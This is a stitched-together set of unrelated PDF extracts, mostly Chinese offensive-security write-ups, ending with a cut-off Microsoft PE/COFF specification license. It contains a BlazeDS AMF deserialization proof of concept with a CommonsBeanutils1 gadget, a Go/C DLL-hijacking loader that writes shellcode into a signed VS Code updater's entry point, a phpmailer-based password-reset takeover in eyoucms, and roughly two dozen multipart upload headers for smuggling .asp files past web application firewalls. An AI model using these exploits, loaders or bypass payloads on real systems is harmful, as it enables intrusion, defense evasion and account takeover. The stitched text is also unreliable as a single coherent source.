getByteStream 方法中,会再次读取 4 字节 int 数据,标识对象数据长度,后续跟 java 对象。
协助分析 java 代码:
通过下面代码可以协助分析
package jsx.ink;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class Test {
public static void main(String[] args) throws Exception{
InputStream
resourceAsStream
=
Test.class.getResourceAsStream("/2.txt");
DataInputStream dis=new DataInputStream(resourceAsStream);
//MetaDataEntry 利用链,71 字节后,就是原生 java 反序列化 payload
// for(int a=0;a<71;a++){dis.read();
// }
// System.out.println(dis.readByte());//ac
// System.out.println(dis.readByte());//ed
// System.out.println(dis.readByte());//00
// System.out.println(dis.readByte());//05
//version,2 字节
int i = dis.readUnsignedShort();
System.out.println("version:"+i);
//headers,2 字节
int i1 = dis.readUnsignedShort();
System.out.println("headers:"+i1);
//bodyCount,2 字节
int i2 = dis.readUnsignedShort();
System.out.println("bodyCount:"+i2);
//targetUri,2 字节
String targetURI = dis.readUTF();
System.out.println("targetURI:"+targetURI);
//responseURI,2 字节
String responseURI = dis.readUTF();
System.out.println("responseURI:"+responseURI);
//一位 int 偏移,4 字节
int i3 = dis.readInt();
System.out.println("偏移一位:"+i3);
//amf0Input_type,1 字节
int amf0 = dis.readByte();
System.out.println("amf0_type:"+amf0);
//amf0Input_type,1 字节
int amf3 = dis.readByte();
System.out.println("amf3_type:"+amf3);
//readTraits,读取 1byte,判断是否小于 128,如果大于则继续读取,payload 中
该字节为 7,直接返回
// 决定 externalizable 和 dynamic 是否为 true,和 properties 的 count 信息
(属性长度)
int i4 = readUInt29(dis);
System.out.println("readTraits:"+i4);
boolean externalizable = ((i4 & 4) == 4);
boolean dynamic = ((i4 & 8) == 8);
int count = (i4 >> 4); /* uint29 */
//读取 1byte,小于 128 则直接返回,该字节右移 1 位,除以 2,表示类名长度.
int len = readUInt29(dis);
System.out.println("类名长度:"+(len>>1));
//根据读取类名长度,读取类名,len>>1 字节,MetaDataEntry 利用链类名 35 字
节
byte[] bytearr = new byte[len>>1];
dis.readFully(bytearr, 0, len>>1);
System.out.println("类名:" + new String(bytearr));
//**********************************************************
System.out.println(" 以 下 是 利 用 链 数 据 , 流 中 剩 余 数 据 交 给 利 用 链 的
readExternal 方法处理");
//**********************************************************
//MetaDataEntry 类序列化 ID,8 字节
long suid = dis.readLong();
System.out.println("序列化 ID:"+suid);
//revID=2,4 字节
int revID = dis.readInt();
System.out.println("revID:"+revID);
//isActive,1字节,必须为true,代码中会取反为false,否则直接return null;
boolean isActive = dis.readBoolean();
System.out.println("isActive:"+isActive);
//isObjectForm,1 字节,必须为 false,
//代码中不会走默认的 readobject 方法,
//会将流中剩余数据再次封装为 ObjectInputStream,并调用 readObject 方法
boolean isObjectForm = dis.readBoolean();
System.out.println("isObjectForm:"+isObjectForm);
//java 原生反序列化对象长度,4 字节
int size = dis.readInt();
System.out.println("size:"+size);
System.out.println(dis.readByte());//ac
System.out.println(dis.readByte());//ed
System.out.println(dis.readByte());//00
System.out.println(dis.readByte());//05
}
public static int readUInt29(DataInputStream in) throws IOException
{
int value;
// Each byte must be treated as unsigned
int b = in.readByte() & 0xFF;
if (b < 128)
return b;
value = (b & 0x7F) << 7;
b = in.readByte() & 0xFF;
if (b < 128)
return (value | b);
value = (value | (b & 0x7F)) << 7;
b = in.readByte() & 0xFF;
if (b < 128)
return (value | b);
value = (value | (b & 0x7F)) << 8;
b = in.readByte() & 0xFF;
return (value | b);
}
}
漏洞利用分析(序列化过程简单分析)
使用 java 语言构造 poc 非常方便,其他语言,就按照源码中 Test.java 里,挨个往流里写内
容,应该也能实现(我没试过)
以 MetaDataEntry 举例:
只需要导入 flex-messaging 相关依赖:
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-common</artifactId>
<version>4.7.2</version>
</dependency>
就可以在代码中,使用 AmfMessageSerializer 序列化数据
Main.java 代码:
//MetaDataEntry 利用链
CommonsBeanutils1 cb = new CommonsBeanutils1();
Object cb_object = cb.getObject("whoami");
MetaDataEntry metaDataEntry = new MetaDataEntry(cb_object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
SerializationContext context = new SerializationContext();
AmfTrace trace = new AmfTrace();
AmfMessageSerializer seri = new AmfMessageSerializer();
seri.initialize(context, baos, trace);
ActionMessage message = new ActionMessage();
MessageBody body = new MessageBody();
body.setData(metaDataEntry);
message.addBody(body);
seri.writeMessage(message);
byte[] bytes = baos.toByteArray();
baos.close();
使用 AmfMessageSerializer 序列化消息,当调用 writeMessage 方法时,会对 message 对象
版本进行判断;
ActionMessage 默认版本是 3
调用 writeMessage 时,会设置 avmPlus 为 true
后续调用到 Amf0Output 类中的 writeObject 方法中
writeMessage—>writeBody—>writeObject
Amf0Output 类中的 writeObject 方法中判断 avmPlus 布尔值为 true 时,会使用 Amf3Output
封装输出流,并调用 Amf3Output 类的 writeObject 方法
注意 out.writeByte(kAvmPlusObjectType);流中写了个 17,kAvmPlusObjectType 值为 17
Amf3Output 类的 writeObject 方法中判断对象类型,如果是 Externalizable 实现类,调用当
前类的 writeCustomObject 方法
writeCustomObject 方法中,对 messageBody 对象进行判空、对象类型进行判断
判断条件都不成立,将会进入 774 行部分的代码逻辑,
注意 out.write(kObjectType);又向输出流中写了个 10,kObjectType 值为 10
同时 if 判断中,对 byReference 方法返回值进行取反判断,方法返回值要求为 false
byReference 方法,通过方法注释了解到,只是用来缓存对象的,我们第一次进入该方法,
返回值为一定是 false
If 判断成立,将会调用当前类的 writePropertyProxy 方法:
flex/messaging/io/amf/Amf3Output.java 文件中 790 行定义 writePropertyProxy 方法
writeObjectTraits 方法不是主要执行流程,就不再深入分析
通过 845 行位置了解到,在 MetaDataEntry 利用链中,最终将会调用 MetaDataEntry 类的
writeExternal 方法;
通过 MetaDataEntry 利用链分析得知,在 readExternal 方法中,会以此读取:
8 字节 long 类型的序列化 ID,必须为 8978361069526299875L
4 字节 int 类型修订版本,必须为 2
1 字节 boolean 类型 isActive,必须为 true
1 字节 boolean 类型 isObjectForm,必须为 false
4 字节 int 类型 size,后续 java 对象长度
//。。。java 反序列化 payload
axis2-kernel-1.8.0.jar 中 MetaDataEntry 的 writeExternal 方法不满足要求要求了,需要自己
写一个 MetaDataEntry 类
MetaDataEntry.java,注意 package
package org.apache.axis2.util;
import java.io.*;
public class MetaDataEntry implements Externalizable {
private Object payload;
private static final long serialVersionUID = 8978361069526299875L;
private static final int REVISION_2 = 2;
private static final int revisionID = 2;
public MetaDataEntry(Object payload){
this.payload = payload;
}
public void writeExternal(ObjectOutput o) throws IOException {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(payload);
byte[] bytes = bout.toByteArray();
o.writeLong(serialVersionUID);
o.writeInt(2);
o.writeBoolean(true);
o.writeBoolean(false);
o.writeInt(bytes.length);
o.write(bytes);
o.writeObject(null);
o.writeObject(null);
o.writeObject(null);
}
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException
{
// we don't care
}
}
参考:
好神秘的大师傅,博客文章质量非常高
https://www.mi1k7ea.com/2019/12/07/Java-AMF3 反序列化漏洞/
AMF 反序列化利用代码,从这里抄来的,工具非常好用,但 java-cp 方式执行有点麻烦,可
以自己下载源码,添加 ysoserial 依赖重新打包,使用更方便
https://github.com/codewhitesec/ColdFusionPwn | pdf |
用Golang编写 dll劫持的一些坑 (1)
源于知识星球的一个想法,利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。
我想用Golang编写劫持的dll,这样也方便可以做成在线平台。
当然dll加载模式不同劫持的方式也不同。
我找到是vscode它的更新程序,也有它官方的签名
看 inno_updater.exe 的导出表,我只用实现它的5个函数就可以了。
因为我想做成通用型的,对于这种输入表导入的dll做劫持,只需要在 DllMain 中获取主程序的入口点,
然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。
C代码如下
测试过是能够正常使用的。
但是把它转成Go的过程中,踩了不少坑。
C代码转换为Go
读取PE入口点用来写shellcode,用Windows API GetModuleHandle 可以得到PE进程的内存地址,根
据内存地址加减偏移就可以得到入口点。
我原本使用了 github.com/Binject/debug/pe 库,它里面有一个 pe.NewFileFromMemory() 函数,可
以直接从内存中读取,但是它的参数是需要一个 io 类型,文件的io自身有很多api,但是对内存的io,
资料好少。
最后找了很多资料,发现只能自己实现io的接口
但问题来了, ReadAt 接口要求我们自己读完了就返回 io.EOF ,我是从内存空间读的,我不知道什么时
候读完。
就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个 ReadAt ,长度我可以生成模板的时候
硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hello_func();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void hello_func(){
DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress +
dosHeader->e_lfanew);
DWORD entryPoint = (DWORD)baseAddress + ntHeader-
>OptionalHeader.AddressOfEntryPoint;
DWORD old;
VirtualProtect(entryPoint, size, 0x40, &old);
for(int i=0;i<size;i++){
*((PBYTE)entryPoint+i) = shellcode[i];
}
VirtualProtect(entryPoint, size, old, &old);
}
type ReaderAt interface {
ReadAt(p []byte, off int64) (n int, err error)
}
直接就不用它的库了,手动根据偏移去寻找入口点。
Go实现DllMain
DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但
是Go里面没有这样相关的定义,搜索资料,有人说用 init() 函数可以,我试了下, init() 函数执行
是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行 init() 代
码,但是这个时候写shellcode到PE头部就已经没用了。
最后发现了怎么做,就是混编C和Go,而且比较麻烦。
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
getModuleHandle = kernel32.NewProc("GetModuleHandleW")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
func GetModuleHandle() (handle uintptr) {
ret, _, _ := getModuleHandle.Call(0)
handle = ret
return
}
// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
baseAddress := GetModuleHandle()
fmt.Println(strconv.FormatInt(int64(baseAddress), 16))
// pe读dos header
ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
v := (*uint32)(ptr)
ntHeaderOffset := *v
//ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4))
//v2 := (*uint16)(ptr)
// 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的
// x32和x64通用
ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
ep := (*uint32)(ptr)
fmt.Println(ep, *ep)
var entryPoint uintptr
entryPoint = baseAddress + uintptr(*ep)
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(entryPoint),
unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40),
unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
WriteMemory(shellcode, entryPoint)
if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)),
uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
}
dllmain.go
dllmain.h
main.go
package main
//#include "dllmain.h"
import "C"
#include <windows.h>
extern void test();
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
MessageBox(0,0,0,0);
CreateThread(NULL, 0, test, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
package main
import "C"
import (
"encoding/hex"
"fmt"
"strconv"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
MEM_RELEASE = 0x8000
PAGE_READWRITE = 0x04
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
getModuleHandle = kernel32.NewProc("GetModuleHandleW")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
//WriteMemory writes the provided memory to the specified memory address. Does
**not** check permissions, may cause panic if memory is not writable etc.
func WriteMemory(inbuf []byte, destination uintptr) {
for index := uint32(0); index < uint32(len(inbuf)); index++ {
writePtr := unsafe.Pointer(destination + uintptr(index))
v := (*byte)(writePtr)
*v = inbuf[index]
}
}
func GetModuleHandle() (handle uintptr) {
ret, _, _ := getModuleHandle.Call(0)
handle = ret
return
}
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect
uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
baseAddress := GetModuleHandle()
ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
v := (*uint32)(ptr)
ntHeaderOffset := *v
ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
ep := (*uint32)(ptr)
var entryPoint uintptr
entryPoint = baseAddress + uintptr(*ep)
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(entryPoint),
unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40),
unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
WriteMemory(shellcode, entryPoint)
if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)),
uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
}
//export _except_handler4_common
func _except_handler4_common() {}
编译脚本 (Windows上)
坑点
dllmain.h的DllMain
//export memcmp
func memcmp() {}
//export memcpy
func memcpy() {}
//export memset
func memset() {}
//export memmove
func memmove() {}
//export test
func test() {
shellcode, err :=
hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac
3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a
498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01
d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87
ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300")
// calc的shellcode
if err != nil {
panic(err)
}
loader_from_ep(shellcode)
}
func main() {
}
set GOOS=windows
set GOARCH=386
set CGO_ENABLED=1
go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, test, NULL, 0, NULL); // 必须使用线程
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
在DllMain DLL_PROCESS_ATTACH的时候,我想调用go里面的 test 函数,我必须使用线程。。如果直
接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。
用了CreateThread,它会把入口点写入shellcode,但是这个时候它是先执行了入口,再写入的
shellcode,虽然函数运行成功,但是没有意义了。
这就是我遇到的坑点。。
虽然可以用C写,Go调用,但这样我用Go的意义就不在了呀。。
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
} | pdf |
编码规范之 phpmailer 的安全隐患
By:奥村燐
1.众所周知,phpMailer 是一个非常强大的 php 发送邮件类,可以设定发送邮件地址、回复
地址、邮件主题、html 网页,上传附件,并且使用起来非常方便。
2.但是如果开发编码不规范,可能会导致安全问题的出现,下面实例讲解在什么场景下会
出现安全隐患。
3.例如 eyoucms 找回密码,点击发送的时候,会调用 Smtpmail 控制器的 send_email 方法
4. 然后又在 send_email 方法中调用了 SmtpmailLogic.php 文件中的 send_email
5.最后在 SmtpmailLogic.php 最后又调用了 send_email
6.然后又在 common.php 中 send_email 方法中实例化了 EmailLogic,调用了其中的
send_email 方法
7.最后又来到了 EmailLogic.php 中 send_email 方法,默认发送邮件会调用 phpmailer 类
8.不规范的写法就在 send_phpmailer 中,例如下面这样,开发为了方便群发,把收件人以
逗号进行分割,最后通过数组,通过 addAddress 方法,添加到收件人了。
9.知道这样,我们可以构造收件人 [email protected],[email protected]
10.然后访问地址,会提示邮箱地址不存在
11.原因也很简单,因为找回密码 type 会等于 retrieve_password 去判断邮箱是否存在
12.但是 type=bind_email 的时候邮箱不存在是可以通过验证的,这个验证码也是可以用来
找回密码的,构造链接访问 url 提示发送成功
13.由于是群发,两个邮箱可以收到同一个验证码
14.找回密码测试用 [email protected] 邮箱的验证去找回 [email protected] 的验证码
15.最后成功重置验证码
16.这个只是其中一个案例,不安全的编码会产生很可怕的安全隐患 | pdf |
酒票
35
贡献
0
积分
46
注册时间
2013-1-31
发消息
c4rt1y
九零元老
发表于 2016-4-17 06:31:25 | 只看该作者
表哥已经在https://forum.90sec.org/forum.php?mod=viewthread&tid=9133这里写了一些方法,今晚在看别人的代
了,于是乎,今晚测试了下安全狗的上传,发现方法还是如此,依旧没任何变化,当然我们只拿安全狗为案列,因为方
过狗方法,这里感谢keio牛文档,我虽然也做了类似的,但是排版没你的好,就拿你的放上去了。
默认状态
[Bash shell] 纯文本查看 复制代码
突破0
[Bash shell] 纯文本查看 复制代码
突破1 去掉双引号
[Bash shell] 纯文本查看 复制代码
突破2 添加一个filename1
[Bash shell] 纯文本查看 复制代码
突破3 form中间+
[Bash shell] 纯文本查看 复制代码
突破4 大小写
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="[0x09]a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp";filename1="test.jpg"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name="filepath";filename="test.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
突破5 去掉form-data
[Bash shell] 纯文本查看 复制代码
突破6 在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破7 a.asp . (空格+.)
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破8 "换行
[Bash shell] 纯文本查看 复制代码
突破9 NTFS流
[Bash shell] 纯文本查看 复制代码
突破10 经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以
求[上传test.asp成功]:
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp ."
Content-Type: text/html
1
2
3
4
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp
"
Content-Type: text/html
1
2
3
4
5
6
7
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="test.asp::$DATA"
Content-Type: text/html
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="test.asp::$DATA\0x00\fuck.asp0x00.jpg"
Content-Type: text/html
01
02
03
04
05
06
07
08
Content-Disposition: form-data; name="FileUploadName"; filename="test.asp"
-----------------------------15377259221471
Content-Disposition: form-data; name="FileUploadName"; filename="test.txt"
Content-Type: application/octet-stream
突破11 换位
[Bash shell] 纯文本查看 复制代码
在上述的方法中,还有些方法可以过安全狗,也可以过D盾、360网站卫士等等。另外从上述方法中,若按你们的想
派,较口语化)i,特性包括系统特性,协议特性等等,比如上述中,大多数都属于协议的特性,因为FORM-DATA的协议
上述的第二种添加一个filename1,这种在正常情况下无法使用的,如果第0种,对特殊字符无法解析,归根到底也是WA
针对于特性,在上传这一块,好像能用到的就只有系统特性和协议特性,系统特性从系统出现到现在才挖掘出那么
默认状态
[Bash shell] 纯文本查看 复制代码
上述方法我们已经开始测试,那么,有没有想过。既然你们想得到用window特性来+空格,有没有想过用协议来+-空格
突破方法001
[Bash shell] 纯文本查看 复制代码
突破方法002
[Bash shell] 纯文本查看 复制代码
突破方法003
[Bash shell] 纯文本查看 复制代码
突破方法004
[Bash shell] 纯文本查看 复制代码
09
10
11
Content-Disposition: form-data; name="FileUploadName"; filename="test.asp"
Content-Disposition: form-data;
name="FileUploadName"; filename="test.asp"
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Type: text/html
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
1
------WebKitFormBoundary2smpsxFB3D0KbA7D
突破方法005
[Bash shell] 纯文本查看 复制代码
上述就5种方法了,然后呢,空格可以,谁可以代替空格,tab?咱们来试试
突破方法006
[Bash shell] 纯文本查看 复制代码
突破方法007
[Bash shell] 纯文本查看 复制代码
突破方法008
[Bash shell] 纯文本查看 复制代码
上面的方法可以延伸很多种了,记住一点,什么可以替换空格!
接下来,我们在根据之前公布的方法 ,大小写
突破方法009
[Bash shell] 纯文本查看 复制代码
突破方法010
[Bash shell] 纯文本查看 复制代码
2
3
Content-Disposition: form-data; name="filepath"; filename= "a.asp"
Content-Type:text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="uploaded"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename= "a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: Form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
突破方法011
[Bash shell] 纯文本查看 复制代码
突破方法012
[Bash shell] 纯文本查看 复制代码
突破方法013
[Bash shell] 纯文本查看 复制代码
然后,这里在针对一个漏洞结合下,记得form-data中见存在一个+号吗,为什么不能放到前面或者后面
突破方法014
[Bash shell] 纯文本查看 复制代码
突破方法015
[Bash shell] 纯文本查看 复制代码
列举了15种方法,不过也才3个技巧,我们也仅仅拿安全狗做演示,但是方法可以绕过目前大部分waf了,即使防住
种,我记得某一妹子和我讲过,hack技术在于mind,不受约束,你会发现更多好玩的。
对于解析这块,就靠大家自己去fuzz了,放出来就淹死啦!
本文为90sec所有,发表文章后七天内禁止转载,七天后如若转载请注明出处
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; Name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; Filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data+; name="filepath"; filename="a.asp"
Content-Type: text/html | pdf |
Microsoft Portable Executable and
Common Object File Format Specification
Microsoft Corporation
Revision 6.0 - February 1999
Microsoft Portable Executable and Common Object File
Format Specification
IMPORTANT—READ CAREFULLY: This Microsoft Agreement (“Agreement”) is a legal agreement between
you (either an individual or a single entity) and Microsoft Corporation (“Microsoft”) for the version of the
Microsoft specification identified above which you are about to download (“Specification”). BY
DOWNLOADING, COPYING OR OTHERWISE USING THE SPECIFICATION, YOU AGREE TO BE
BOUND BY THE TERMS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THE TERMS OF THIS
AGREEMENT, DO NOT DOWNLOAD, COPY, OR USE THE SPECIFICATION.
The Specification is owned by Microsoft or its suppliers and is protected by copyright laws and international copyright treaties,
as well as other intellectual property laws and treaties.
1. LIMITED COVENANT NOT TO SUE.
(a) Provided that you comply with all terms and conditions of this Agreement and subject to the limitations in Sections 1(b)
– (e) below, Microsoft grants to you the following non-exclusive, worldwide, royalty-free, non-transferable, non-
sublicenseable, reciprocal limited covenant not to sue:
(i)
under any copyrights owned or licensable by Microsoft without payment of consideration to unaffiliated
third parties, to reproduce the Specification solely for the purposes of creating (x) Image Files and (y)
Tools; and
(ii)
under its Necessary Claims solely to make, have made, use, import, and directly and indirectly, offer to
sell, sell and otherwise distribute and dispose of Image Files or Tools.
For purposes of the foregoing, the Specification is “unmodified” if there are no changes, additions or extensions to
the Specification, “Image Files” means (a) executable files which comply with the Specification in unmodified form
(“Executable Files”) and (b) object files which comply with the Specification in unmodified form (“Object Files”),
“ Tools” means (a) linkers which generate Executable Files, (b) compilers which generate Object Files, and (c)
loaders which load the Executable Files; and “Necessary Claims” means claims of a patent or patent application
which are (1) owned or licenseable by Microsoft without payment of consideration to an unaffiliated third party; and
(2) have an effective filing date on or before December 31, 2010, that must be infringed in order to make an Image
File or Tool that complies with the Specification (as more fully described in subsection (b) below. Necessary Claims
does not include claims relating to semiconductor manufacturing technology or microprocessor circuits or claims not
required to be infringed in complying with the Specification (even if in the same patent as Necessary Claims).
(b) The foregoing covenant not to sue shall not extend to any part or function of an Image File which (i) is not required to
comply with the Specification or (ii) to which there was a commercially reasonable alternative to infringing a Necessary
Claim. The foregoing covenant not to sue shall not extend to any part or function of a Tool (i) which is not required to
generate Executable Files (if the Tool is a linker), generate Object Files (if the Tool is a compiler) or load the Executable
Files (if the Tool is a loader); or (ii) to which there was a commercially reasonable alternative to infringing a Necessary
Claim.
(c) The covenant not to sue described above shall be unavailable to you and shall terminate immediately if you or
any of your Affiliates (collectively “Covenantee Party”) “Initiates” any action for patent infringement against: (x)
Microsoft or any of its Affiliates (collectively “Granting Party”), (y) any customers or distributors of the Granting
Party, or other recipients of a covenant not to sue with respect to the Specification from the Granting Party
(“Covenantees”); or (z) any customers or distributors of Covenantees (all parties identified in (y) and (z)
collectively referred to as “Customers”), which action is based on a conformant implementation of the
Specification. As used herein, “Affiliate” means any entity which directly or indirectly controls, is controlled by, or
is under common control with a party; and control shall mean the power, whether direct or indirect, to direct or
cause the direct of the management or policies of any entity whether through the ownership of voting securities, by
contract or otherwise. “Initiates” means that a Covenantee Party is the first (as between the Granting Party and the
Covenantee Party) to file or institute any legal or administrative claim or action for patent infringement against the
Granting Party or any of the Customers. “Initiates” includes any situation in which a Covenantee Party files or
initiates a legal or administrative claim or action for patent infringement solely as a counterclaim or equivalent in
response to a Granting Party first filing or instituting a legal or administrative patent infringement claim against such
Covenantee Party.
(d) The covenant not to sue described above shall not extend to your use of any portion of the Specification for any purpose
other than (a) to create portions of an operating system (i) only as necessary to adapt such operating system so that it can
directly interact with a firmware implementation of the Extensible Firmware Initiative Specification v. 1.0 (“EFI
Specification”); (ii) only as necessary to emulate an implementation of the EFI Specification; and (b) to create
firmware, applications, utilities and/or drivers that will be used and/or licensed for only the following purposes: (i)
to install, repair and maintain hardware, firmware and portions of operating system software which are utilized in the
boot process; (ii) to provide to an operating system runtime services that are specified in the EFI Specification; (iii)
to diagnose and correct failures in the hardware, firmware or operating system software; (iv) to query for
identification of a computer system (whether by serial numbers, asset tags, user or otherwise); (v) to perform
inventory of a computer system; and (vi) to manufacture, install and setup any hardware, firmware or operating
system software.
(e) Microsoft reserves all other rights it may have in the Specification and any intellectual property therein. The
